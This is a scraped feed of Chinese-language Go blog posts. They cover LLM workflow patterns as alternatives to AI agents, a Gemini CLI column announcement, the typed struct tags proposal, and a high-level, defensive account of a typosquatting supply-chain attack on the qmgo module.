Protocol）正是为此而生，它定义了一套标准的、与模型无关的通信规范，使得任何应用都能以“工具”的形式被 LLM 调用。\u003c/p\u003e","title":"上手MCP官方Go SDK：一份面向实战的入门指南"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/10/stop-building-ai-agents\n大家好，我是Tony Bai。\n如果你正在开发 AI 应用，你很可能听说过、尝试过，甚至正在挣扎于构建一个“AI Agent”。\n我们都看过那些令人心潮澎湃的 Demo：一个 AI Agent 被赋予一个目标，然后它就能自主地规划、调用工具、浏览网页、编写代码，最终完成任务。于是，我们纷纷投身其中，搭建记忆系统、定义工具、编写角色背景……感觉就像在创造一个真正的数字生命，充满了力量和进步感。\n但现实往往是残酷的。正如资深 AI 教育者 Hugo Bowne-Anderson 在他那篇引爆讨论的文章《Stop Building AI Agents》中描述的，他曾用 CrewAI 构建了一个“研究小组”：三个 Agent、五个工具，纸面上完美，实践中一塌糊涂。\n研究员 Agent 忽略了 70% 的网页抓取工具。 摘要员 Agent 在处理长文档时完全忘记了使用引用工具。 协调员 Agent 在任务不明确时直接“撂挑子不干了”。 这是一个“美丽的计划，以壮观的方式分崩离析”。这个故事听起来熟悉吗？\nHugo 一针见血地指出：问题的根源，可能不是你的实现细节，而是你从一开始就选择去构建一个 Agent。\nAI Agent 的真正“魔鬼”：失控的工作流 要理解为什么 Agent 如此脆弱，我们必须先弄清它的定义。一个 LLM 应用通常具备四个特性：\n记忆 (Memory): 让 LLM 记住过去的交互。\n信息检索 (Information Retrieval): 通过 RAG 等方式为 LLM 提供上下文。\n工具使用 (Tool Usage): 赋予 LLM 调用函数和 API 的能力。\n**工作流控制 (Workflow Control):**让 LLM 的输出来决定下一步使用哪个工具以及何时使用。\n这第四点，正是“Agent”的定义，也是问题的核心！\n当我们构建一个 Agent 时，我们实际上是把系统的控制权交给了 LLM。我们希望它能像一个自主的决策者一样，动态地编排整个工作流程。\n但这就像是让一个充满创造力、才华横溢但情绪不定的艺术家去担任整个交响乐团的指挥。他可能会即兴发挥出惊人的乐章，但更可能的是，他会忘记看乐谱，让整个演奏陷入混乱。\n大多数 Agent 系统崩溃，不是因为功能太少，而是因为复杂度太高、控制权失控。\nHugo 用一张简单的决策图告诉我们，在绝大多数场景下，我们需要的根本不是 Agent。\n那么，如果不是 Agent，我们应该构建什么？\n你应该构建的 5 个 LLM 工作流模式 答案是：用更简单的、由你（开发者）的代码来控制流程的工作流模式。 下面这 5 个模式，源自 Anthropic 的研究，并由 Hugo 在实践中验证，足以解决 90% 的真实世界问题。\n(1) 提示词链 (Prompt Chaining) 用例： 根据领英资料，撰写个性化的推广邮件。\n这是一个典型的顺序任务。你先用一个 LLM 调用将非结构化的个人资料文本，转换为结构化的数据（姓名、公司、职位），然后再用第二个 LLM 调用，基于这些结构化数据和公司背景，生成一封定制邮件。\n适用场景： 任务有明确的先后顺序。 失败模式： 链条中的任何一环失败，整个流程就会中断。 优点： 流程可预测，简单，易于调试。 (2) 并行化 (Parallelization) 用例： 从一份简历中，同时提取多个部分的信息。\n当你想一次性处理多个独立的子任务时，并行化是最佳选择。你可以定义多个并行的任务，如提取工作经历、提取技能列表、提取教育背景，然后让它们同时运行，最后汇总结果。\n适用场景： 多个独立任务可以并发执行以提高速度。 失败模式： 可能出现竞态条件或超时问题。 优点： 极大地提升数据抽取的效率。 (3) 路由 (Routing) 用例： 一个客户支持工具，根据用户问题类型分发到不同的处理流程。\n路由模式就像一个智能交换机。你先用一个 LLM 或简单的逻辑来对输入进行分类（例如，这是“账单问题”还是“技术问题”），然后将请求“路由”到相应的专有处理函数或工作流中。控制权一旦交出，就不再收回。\n适用场景： 不同的输入需要完全不同的处理逻辑。 失败模式： 边界情况可能无法匹配任何路由，需要有默认的“兜底”方案。 优点： 结构清晰，逻辑解耦。 (4) 编排器-工作者 (Orchestrator-Worker) 用例： 一个需要将任务动态分解成多步的邮件生成器。\n这看起来像路由，但有一个关键区别：控制权始终在“编排器”手中。编排器（可以是 LLM 或你的代码）负责做决策和协调，而“工作者”（通常是具体的函数）负责执行。例如，编排器先调用 LLM 将目标公司分类为“科技”或“非科技”，然后选择一个专门的“科技邮件工作者”或“非科技邮件工作者”来撰写邮件，并管理整个流程的始终。\n适用场景： 任务需要动态决策和受控的步骤执行。 失败模式： 编排器错误地分解或委托了子任务。 优点： 完美地将决策与执行分离，兼具灵活性和可控性。 (5) 评估器-优化器 (Evaluator-Optimizer) 用例： 优化一封营销邮件的语气和结构，以满足特定标准。\n当你对输出质量有极高要求时，这个模式非常有用。一个“生成器”LLM 先生成初始内容，然后一个“评估器”LLM 对其进行打分。如果分数不达标，“评估器”会提供反馈，然后“生成器”根据反馈进行优化，如此循环，直到满足质量要求或达到重试上限。\n适用场景： 输出质量比速度更重要。 失败模式： 可能陷入无限的优化循环。 优点： 能持续打磨，产出高质量的结果。 那么，什么时候才真正需要 Agent？ 读到这里，你可能会问，Agent 是否就一无是处？并非如此。Hugo 指出，Agent 在一类特定场景中表现出色：当有一个敏锐的人类在环中（Human-in-the-Loop）时。\n数据科学助手： Agent 探索性地写 SQL、生成图表，你来评估结果、修正逻辑。 创意写作伙伴： Agent 负责头脑风暴、提供结构，你来判断质量、引导方向。 代码重构助手： Agent 发现潜在模式、提出优化建议，你来审查、批准变更。 在这些场景中，Agent 是一个创造力的放大器，而非一个自主的工人。它适用于不稳定的、探索性的工作，而非需要稳定可靠的自动化流程。\n小结：放弃对 Agent 的执念，回归简单 AI Agent 的概念被过度炒作和滥用。在大多数真实世界的应用中，我们并不需要一个拥有自主意识、能动态控制一切的复杂系统。\n我们需要的，是更清晰、更简单、更可控的工作流结构。上述 5 种模式，为我们提供了强大的武器库。它们提醒我们软件工程的第一原则：从简单开始，逐步增加复杂性，并始终将控制权留在最可靠的地方——你自己的代码里。\n所以，下一次当你准备构建下一个 LLM 应用时，请先停下来问自己：我真的需要一个 Agent 吗？还是一个简单的“提示词链”或“路由器”就足够了？\n这个问题的答案，可能会为你节省下数周甚至数月的调试时间。\n资料地址：https://decodingml.substack.com/p/stop-building-ai-agents\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/10/stop-building-ai-agents/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/stop-building-ai-agents-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/10/stop-building-ai-agents\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/10/stop-building-ai-agents\"\u003ehttps://tonybai.com/2025/07/10/stop-building-ai-agents\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你正在开发 AI 应用，你很可能听说过、尝试过，甚至正在挣扎于构建一个“AI Agent”。\u003c/p\u003e\n\u003cp\u003e我们都看过那些令人心潮澎湃的 Demo：一个 AI Agent 被赋予一个目标，然后它就能自主地规划、调用工具、浏览网页、编写代码，最终完成任务。于是，我们纷纷投身其中，搭建记忆系统、定义工具、编写角色背景……感觉就像在创造一个真正的数字生命，充满了力量和进步感。\u003c/p\u003e","title":"停止构建AI Agent！这里有5个更简单的LLM工作流模式，能解决90%的问题"},{"content":"你的命令行，即将迎来一场“AI 革命” - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n你的命令行，即将迎来一场“AI 革命” 七月 9, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/09/gemini-cli-starting-guide\n大家好，我是Tony Bai。\n在软件开发的历史长河中，我们与机器的交互界面经历了一场有趣的轮回。\n曾几何时，发光的绿色字符在黑色屏幕上跳动，命令行是我们掌控一切的神圣权杖。从编辑器（Vim/Emacs）到编译器，再到版本控制，整个世界都安然地存在于终端的心跳之中。\n随后，图形用户界面（GUI）带来了集成开发环境（IDE）的黄金时代。Borland、Visual Studio、Eclipse、JetBrains… 我们将一切都“集成”到了一个窗口里，享受着点击、拖拽和可视化调试带来的便利。命令行似乎一度退居次席，成了执行零散脚本的“后台工具”。\n而今天，当我们以为 VS Code 这样轻快、插件丰富的编辑器已经统一江湖时，一股强劲的“复古之风”正悄然刮起。但这一次，它并非简单的怀旧，而是一场由 AI 驱动的、向命令行的“伟大回归”。\n为什么是现在？\n因为 AI 的出现，再次打破了 IDE 创造的“完美闭环”。我们发现自己又一次陷入了新的“工作流摩擦”：我们的代码在一个窗口，而我们的 AI “外脑”（ChatGPT/Gemini Web）在另一个窗口。我们成了上下文的搬运工，在复制粘贴中消耗着宝贵的专注力。\nIDE 插件虽有所缓解，但它们更像是被“关在笼子里”的 AI，能力受限于 IDE 提供的 API。它们无法真正理解你的整个系统环境，无法为你执行一条 docker build 命令，更无法调用你私有的测试脚本。\n我们需要的，不仅仅是一个会写代码的 AI。我们需要一个能理解我们整个工作流，并能动手执行的 AI。敏锐的开发者和 AI 公司都已意识到，下一个效率的爆发点，不在 GUI，而在那片最经典、最高效的战场——命令行。\n这，正是这场“命令行革命”的核心。\n于是，一个全新的物种 “命令行AI智能体 (Command-Line AI Agent)” 开始涌现。OpenAI Codex、Claude Code等拥有强大能力的商业公司背书的各类智能体脚本便像雨后春笋般出现。而在这一新兴的赛道上，Google也携其 Gemini CLI，给出了一个与众不同的答案。它更侧重于工作流自动化 (Workflow Automation)。更具吸引力的是，通过个人 Google 账户认证，你就能享受到慷慨的免费使用额度，这极大地降低了每一位开发者体验这场命令行革命的门槛。\n正是因为 Gemini CLI 的这种“慷慨”，我认为它值得一次系统而深入的探索。\n我即将开启一个全新的微专栏系列 《Gemini CLI：重新定义命令行 AI 开发》，该专栏将用 5篇由浅入深的实战文章，向你完整地展示，当今最前沿的大语言模型(比如Gemini 2.5 pro)，是如何与开发世界最经典、最高效的交互界面——命令行——相结合，从而迸发出惊人的能量。此外，专栏中的示例均采用Go代码。\n在这个系列中，你将看到：\n第一篇《入门篇》： 我们将为你带来初见的“Wow 时刻”。你将看到 Gemini CLI 如何仅用一个 @ 符号，就读懂并分析一个你完全陌生的 Go 项目，这是一种你从未体验过的、AI 与本地文件系统的深度融合。\n第二篇《实战篇》： 我们将带你彻底驾驭 @、!、/ 这三驾马车，在真实的 Go 项目中，完成从代码分析、编译测试到 Git 操作的全流程。我们将让你相信，大部分开发任务，都可以且应该在命令行中一气呵成。\n第三篇《进阶篇》： 我们将为你系上 AI 时代的“安全带”。你将掌握 Checkpointing (快照回滚) 机制，让你可以像玩游戏读档一样，随时回退 AI 的任何一次代码修改，从而安心地让它进行最大胆的重构实验。\n第四篇《扩展篇》： 我们将带你扮演“造物主”的角色。你将学会如何通过自定义工具和 MCP 服务器，将你自己的脚本、公司的内部 API，甚至任何你能想到的外部系统，全部接入 Gemini CLI 的能力版图，打造真正属于你的神器。\n第五篇《应用篇》： 我们将展示一个终极工作流。如何用一句自然语言指令，驱动 AI 自动完成在线研究、信息整合、内容创作，并最终将一篇完整的 Markdown 技术报告保存在你的本地。这，是自动化思想的极致体现。\n这不关乎怀旧，这关乎进化。\n这不是退回终端，而是带着 AI 的力量，重返我们最熟悉的战场。\n如果你对提升开发效率有极致的追求，如果你相信最好的工具就应该在弹指之间，那么，请锁定我们。\n点击下方卡片，即刻关注，与我们一同见证这场正在发生的革命！\n如果你和我们一样，对探索 Go 与 AI 的前沿交叉领域充满热情，那么这个微专栏仅仅是一个开始。\n为了感谢核心读者的支持，并打造一个更具深度和互动性的交流平台，我决定：\n本付费微专栏的全部 5 篇文章，将在我的知识星球「Go \u0026amp; AI 精进营」中同步免费发布！\n扫描下方二维码，加入「Go \u0026amp; AI 精进营」，与我们一起，站在未来看现在。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/09/gemini-cli-starting-guide/","summary":"\u003ch1 id=\"你的命令行即将迎来一场ai-革命---tony-bai\"\u003e你的命令行，即将迎来一场“AI 革命” - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"你的命令行，即将迎来一场“AI 革命”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/08/typed-struct-tags\n大家好，我是Tony Bai。\nGo 语言的结构体标签（Struct Tag）自诞生以来，一直是其强大反射能力的重要组成部分，广泛应用于 encoding/json、ORM、配置管理等领域。然而，它也一直是一个“美丽的缺憾”：这些标签本质上是无类型的字符串，依赖于各种“微语言”和“纳米语言”的脆弱约定，缺乏编译期检查，容易因拼写错误或格式问题导致运行时bug。现在，一个旨在彻底改变这一现状的重量级提案——#74472: Typed struct tags——正式进入了社区视野。该提案由 @Merovius 提出，建议在现有字符串标签之外，引入类型化的、编译期检查的结构体标签，一旦落地（虽然短期内不大可能，甚至可能被declined）有望将 Go 的静态类型安全优势延伸至元数据定义领域。在这篇文章中，我们就来简单解读一下这份提案。\n现状之痛：从 mini-language 到 pico-language 的脆弱链条 当前的 struct tag 是一个由开发者和库作者共同维护的“社会契约”。reflect 包定义了其顶层语法为键值对（如 key1:”value1″ key2:”value2″ ），而每个库（如 encoding/json）则在各自的 value 中定义了更细分的微语言（如 ,omitempty、,string 等）。更有甚者，某些选项（如 json 的 format）又会引入自己的“纳米语言”（如 format:RFC3339 vs format:’2006-01-02′），这种层层嵌套的自定义语法带来了诸多问题：\n缺乏编译期安全： 任何拼写错误、格式错误（如忘记引号）都无法在编译时被发现。开发者只能在运行时通过测试或实际运行失败来定位问题，增加了调试成本。 增加了认知负担： 开发者需要记忆不同库、不同选项的各种微语法规则，容易混淆。 运行时开销： 这些字符串标签需要在运行时被解析，带来了不必要的性能开销和实现复杂性。 命名空间冲突： 标签的键（如 json, yaml）是全局的，没有命名空间隔离。不同第三方库可能使用相同的键但定义完全不同的语法，存在冲突风险。 encoding/json 的 format 选项就是一个典型例子，它要求用户根据格式是预定义常量还是自定义布局字符串，来决定是否使用单引号，这种微妙的语法差异极易出错。\n提案核心：引入类型化的常量表达式作为标签 74472 提案的核心思想非常直观：在现有的字符串标签旁边，允许使用一对花括号 {} 来包裹一个或多个逗号分隔的常量表达式，作为新的“类型化标签”。\n让我们看一个 encoding/json 使用场景的今昔对比：\n提案前 (Before):\ntype Before struct { F1 T1 json:\u0026#34;f1\u0026#34; F2 T2 json:\u0026#34;f2,omitempty\u0026#34; F3 T3 json:\u0026#34;,omitzero\u0026#34; F4 T4 json:\u0026#34;f4,case:ignore\u0026#34; F5 time.Time json:\u0026#34;,format:RFC3339\u0026#34; F6 time.Time json:\u0026#34;,format:\u0026#39;2006-01-02\u0026#39;\u0026#34; F7 T7 json:\u0026#34;-\u0026#34; } 提案后 (After)，使用类型化标签：\n// 假设 json 包提供了以下类型和常量 // type Name string // const OmitEmpty Flags = ... // func Format(layout string) Format type After struct { F1 T1 {json.Name(\u0026#34;f1\u0026#34;)} F2 T2 {json.Name(\u0026#34;f2\u0026#34;), json.OmitEmpty} F3 T3 {json.OmitZero} F4 T4 {json.Name(\u0026#34;f4\u0026#34;), json.IgnoreCase} F5 time.Time {json.Format(time.RFC3339)} F6 time.Time {json.Format(\u0026#34;2006-01-02\u0026#34;)} F7 T7 {json.Ignore} } 可以看到，新的类型化标签语法带来了显著的优势：\n编译期安全： * json.Name(“f1″) 是一个类型转换，如果 json.Name 未定义或拼写错误，编译失败。 * json.OmitEmpty 是一个常量，如果拼写错误，编译失败。 * json.Format(time.RFC3339) 是一个函数调用（其结果必须是常量），参数类型和数量都受到编译器检查。\n清晰的命名空间： json.Name 明确隶属于 json 包，从根本上解决了命名冲突问题。\n更强的表达力与一致性： json.Format 通过函数形式接受参数，语法比字符串拼接或特殊引号规则更自然、更强大。无论是预定义常量还是自定义字符串，都使用统一的函数调用形式。\n零运行时解析开销： 所有标签信息在编译期就已经被解析和类型化，运行时可以直接访问，无需再解析字符串。\n向后兼容与混合使用： 提案保留了原有的字符串标签，并允许新旧两种标签同时存在于一个字段上，为渐进式迁移提供了便利。\ngo type Mixed struct { F4 T4 yaml:\u0026#34;f4\u0026#34; {json.Name(\u0026#34;f4\u0026#34;), json.IgnoreCase} } 语言与标准库的配套改动 为实现这一特性，提案需要对 Go 语言规范及核心库进行相应的调整：\n语言规范 (Spec):\nFieldDecl 的定义将扩展，允许在可选的 Tag (string_lit) 之后，再跟一个可选的 TypedTags ({‘ ExpressionList ‘})。 TypedTags 中的表达式必须是类型化的常量表达式，且其类型不能是预定义类型（如 int, string 等），以鼓励使用自定义类型来提供命名空间。 reflect 包 API：\nreflect.StructField 结构体将内部存储类型化标签。 提供新的 API 来访问这些标签，核心是 StructTagsForT any iter.Seq[T]，它返回一个迭代器，用于遍历指定类型 T 的所有标签。 // 使用示例 for t := range reflect.StructTagsFor[json.Name](field) { // t 的类型是 json.Name，可以直接使用 fmt.Println(\u0026#34;Field name override:\u0026#34;, t) } go/ast 包：\nast.Field 结构体将增加 Tags []Expr 字段，以在抽象语法树中表示类型化标签。 社区讨论与延伸思考 该提案在社区引发了积极的讨论，并触及了一些更深层次的设计问题：\n语法选择： 虽然提案最终倾向于使用 {…}，但社区也探讨了其他符号如 (…), [\u0026hellip;], @ 等。[\u0026hellip;] 因与泛型语法冲突而被排除，(…) 则与现有语法存在歧义。@ 类似于 Python/Java 的注解，引出了是否要引入更通用注解系统的讨论。 标签的适用范围： @dsnet 和 @neild 等人指出，除了字段，类型、函数等也可能需要注解/标签（例如，//go:noinline）。这暗示了类型化标签可能只是一个更宏大注解系统的第一步。 编译时依赖： 一个显著的变化是，使用类型化标签会引入对定义标签的包的编译时依赖。例如，{json.Name(“foo”)} 会让代码文件依赖 encoding/json 包。提案指出，通过链接器的死代码消除，这部分影响可以被最小化，但库作者在设计标签类型时仍需注意避免不必要的初始化开销。 重复标签与复合类型标签： 提案允许同一类型的标签重复出现，以模拟“切片标签”的灵活性。同时，由于 Go 目前没有复合类型常量，提案暂时不支持将 struct 或 slice 作为标签，但为未来的扩展留下了空间。 小结：Go 静态类型安全的重要拼图 74472类型化结构体标签提案，是对 Go 语言设计哲学的一次重要补充和深化。它直面了当前字符串标签系统的核心缺陷，提出了一套类型安全、编译期检查、无运行时解析开销的解决方案。这不仅能极大地提升开发体验，减少因“魔法字符串”引发的低级错误，还能促进库 API 设计的清晰度和健壮性。\n虽然关于具体语法和未来是否扩展为通用注解系统仍在讨论中，但该提案所指明的大方向——用 Go 自身的类型系统来强化元数据定义——无疑是正确且符合 Go 语言演进趋势的。它将 Go 的静态类型优势从业务逻辑代码延伸到了元数据层面，补全了语言在静态保障方面的一块重要拼图。我们有理由期待，在不久的将来，Go 开发者能够彻底告别脆弱的字符串约定，拥抱一个更安全、更强大的结构体标签新时代。\n74472提案地址：https://github.com/golang/go/issues/74472\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/08/typed-struct-tags/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/typed-struct-tags-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/08/typed-struct-tags\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/08/typed-struct-tags\"\u003ehttps://tonybai.com/2025/07/08/typed-struct-tags\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言的结构体标签（Struct Tag）自诞生以来，一直是其强大反射能力的重要组成部分，广泛应用于 encoding/json、ORM、配置管理等领域。然而，它也一直是一个“美丽的缺憾”：这些标签本质上是无类型的字符串，依赖于各种“微语言”和“纳米语言”的脆弱约定，缺乏编译期检查，容易因拼写错误或格式问题导致运行时bug。现在，一个旨在彻底改变这一现状的重量级提案——\u003cstrong\u003e#74472: Typed struct tags\u003c/strong\u003e——正式进入了社区视野。该提案由 @Merovius 提出，建议在现有字符串标签之外，引入类型化的、编译期检查的结构体标签，一旦落地（虽然短期内不大可能，甚至可能被declined）有望将 Go 的静态类型安全优势延伸至元数据定义领域。在这篇文章中，我们就来简单解读一下这份提案。\u003c/p\u003e","title":"告别字符串魔法：Go 迎来类型化 Struct Tag 提案，编译期安全触手可及？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/07/go-module-supply-chain-attack-case\n大家好，我是Tony Bai。\n最近，GitLab的安全研究团队披露了一起极其巧妙的供应链攻击，目标直指 Go 社区中一个流行的 MongoDB 模块。这个案例本身已经足够令人警醒，但如果我们拨开攻击手法的层层迷雾，会发现其背后暴露出的，可能是整个开源生态，包括我们所依赖的 Go Modules，一个根本性的、与生俱来的脆弱性。\n这个脆弱性，可以概括为六个字：“先发布，后审核”。\n而 GitLab 之所以能精准捕获这次攻击，恰恰是因为他们启用了一套新式武器——一个由 AI 辅助的自动化“猎手”。这起“捕猎”行动，就像一支精准的探针，刺中了 Go 模块生态的“阿喀琉斯之踵”。\nAI 安全哨兵：新一代的“猎手” 在软件供应链这个庞大的“草料堆”里寻找一根“毒针”，向来是一项艰巨的任务。而 GitLab 这次能成功，得益于他们新开发的自动化检测系统。这个系统并非单一工具，而是一套多层协作的防御体系：\n传统方法打底： 系统首先会用传统但有效的方法进行海量筛选。比如，通过自动化拼写错误检测，寻找那些与热门包名字极其相似的可疑模块；通过语义代码分析，标记出那些包含网络请求、命令执行等高危行为的代码。\nAI 智能初筛： 这才是真正的“游戏改变者”。当传统方法标记出成千上万个可疑包后，让安全专家逐一排查是不现实的。此时，一个大型语言模型 (LLM) 会介入，扮演“AI 安全哨兵”的角色。 它会对可疑代码进行智能的初始分析，凭借其对代码模式和意图的理解，帮助人类专家：\n* **快速过滤误报：** 排除那些虽然有网络请求但行为正常的代码。 * **识别复杂载荷：** 看穿那些通过多层下载来隐藏最终目的的攻击手法。 * **检测代码混淆：** 发现那些试图掩盖真实意图的混淆技巧。 正是这个强大的“猎手”，将我们的目光引向了这次攻击本身。\n攻击剖析：当“i”多了一个 现在，让我们来看看被这位“AI 哨兵”揪出来的攻击，到底有多么狡猾。\n攻击的目标是流行的 MongoDB Go 驱动 github.com/qiniu/qmgo。这是一个被广泛使用的模块，拥有良好的声誉。\n攻击者采取了经典的“拼写错误攻击 (Typosquatting)”，注册了一个极其相似的 GitHub 用户名，并发布了同名的恶意模块：\n合法模块： github.com/qiniu/qmgo (q-i-n-i-u)\n恶意模块： github.com/qiniiu/qmgo (q-i-n-i-i-u)\n仅仅多了一个 “i”，在自动补全、搜索结果、甚至人类的快速浏览中，都极难被察觉。\n为了进一步伪装，攻击者完整复制了合法模块的所有代码，然后，只在一个开发者必然会调用的核心函数 NewClient 中，悄悄植入了恶意代码。这几行代码，启动了一个复杂的、长达四层的远程载荷下载链，最终在受害者的机器上安装了一个功能强大的远程管理木马 (RAT)，能够实现远程 shell、截图、SOCKS 代理等所有你能想到的“后门”功能。\n你可能会想，幸好 GitLab 发现了，报告之后问题就解决了。\n但故事中最令人不寒而栗的部分来了：在第一个恶意模块被 Go Security 和 GitHub 联手封禁后，仅仅过了 4 天，攻击者就用一个新的、同样难以分辨的拼写错误 github.com/qiiniu/qmgo，卷土重来，发布了完全相同的恶意代码。\n这种快速的、打地鼠式的重新部署，正是我们需要从更高层面去审视的问题。它暴露了我们整个生态系统的一个根本性困境。\n“反应式治理”的危险窗口期 这起攻击之所以能成功上演“续集”，其根源在于当前几乎所有主流的开源包管理生态（包括 Go Modules, npm, PyPI）都采用的一种治理模式——“先发布，后审核”，或者更准确地说，是**“反应式治理 (Reactive Governance)”**。\n这种模式的流程是：\n任何人都可以自由地发布一个新的包到公共源。\n包立即可供全球开发者下载和使用。\n只有当这个包被社区成员或自动化工具发现存在问题，并报告给官方安全团队后，才会被审核和移除。\n这种模式极大地促进了开源的繁荣和开发的便利性，这是它的巨大优点。但其代价，就是一个极其危险的**“暴露窗口期 (Window of Exposure)”**。\n从恶意包发布，到它被发现、被报告、被确认、被最终移除，这个过程可能需要数小时，甚至数天。在 GitLab 的这次报告中，从首次报告到恶意模块被 Go Security 下架，中间花费了近 19 个小时。\n在这 19 个小时里，有多少 CI/CD 系统在自动构建时可能已经拉取了这个恶意包？有多少开发者在 go get 一个新项目时，无意中引入了这个“孪生兄弟”？我们不得而知。而攻击者正是利用了这个窗口期，来最大化他们的攻击效果。\n生态治理的权衡：自由 vs. 安全 为什么我们不能像苹果的 App Store 那样，对所有发布的模块进行严格的预审核呢？\n答案在于一个永恒的权衡：自由与安全。\n中心化强审核模式 (如 App Store): 提供了极高的安全性，恶意应用很难上架。但代价是牺牲了发布的效率、灵活性和开放性，扼杀了许多创新。这与开源精神背道而驰。\n去中心化弱审核模式 (如 Go Modules): 提供了极大的自由和便利，任何人都可以贡献。但代价就是将安全的责任，更多地转移到了消费端——也就是我们每一位开发者身上。\nGo 语言在安全方面已经做出了巨大的努力。GOPROXY 和 GOSUMDB (Checksum Database) 的设计，极大地保证了模块的不可变性 (Immutability) 和可用性 (Availability)。一旦一个模块的某个版本被发布并记录在案，任何人都无法篡改其内容。这有效地防止了模块被“投毒”的问题。\n但 GOSUMDB 解决的是“你下载的就是作者发布的那个”，而无法解决“作者发布的那个本身就是恶意的”这个问题。它保证了传输过程的安全，但无法保证源头的清白。\n我们正在走向何方？ 面对这个生态的“阿喀琉斯之踵”，我们能做些什么？\n更主动的生态防御机制： GitLab 的自动化检测系统为我们提供了一个很好的范例。未来，Go 的官方代理或其他社区基础设施，是否可以集成类似的、由 AI 辅助的、在模块发布阶段就进行主动扫描和预警的机制？这可以在不牺牲太多开放性的前提下，极大地缩短“暴露窗口期”。AI 的介入，使得大规模、智能化的“事前预防”成为可能，这或许是平衡自由与安全的关键。\n更严格的命名空间和身份验证： 类似 Java Maven Central 对组织和域名的验证，或者 npm 的 Scope 包（如 @angular/core），都可以增加攻击者进行拼写错误攻击的难度。虽然 Go 的模块路径直接与代码托管地址绑定，但也许在展示和搜索层面，可以引入更多的信誉和验证机制。\n开发者的“新”责任： 在生态层面迎来根本性变革之前，我们开发者必须清醒地认识到，安全审查已经成为我们工作中不可或缺的一部分。\n* **仔细审查依赖：** 在添加新的依赖时，特别是那些个人开发者维护的模块，花几分钟时间检查其 GitHub 仓库的 star 数、贡献者、issue 历史，是一种必要的“尽职调查”。 * **拥抱安全工具：** 依赖像 GitLab、Snyk、Socket.dev 这样的第三方安全工具，将软件成分分析 (SCA) 集成到我们的 CI/CD 流程中，不再是“可选项”，而是“必选项”。 小结：没有免费的午餐 Go Modules 的设计，为我们带来了前所未有的开发便利和依赖管理的确定性。但这种便利并非没有代价。\n“先发布，后审核”的模式，赋予了我们自由，也悄悄地将一部分安全守望的责任，放在了我们每个人的肩上。GitLab 这次精彩的“捕猎”，既是一次 AI 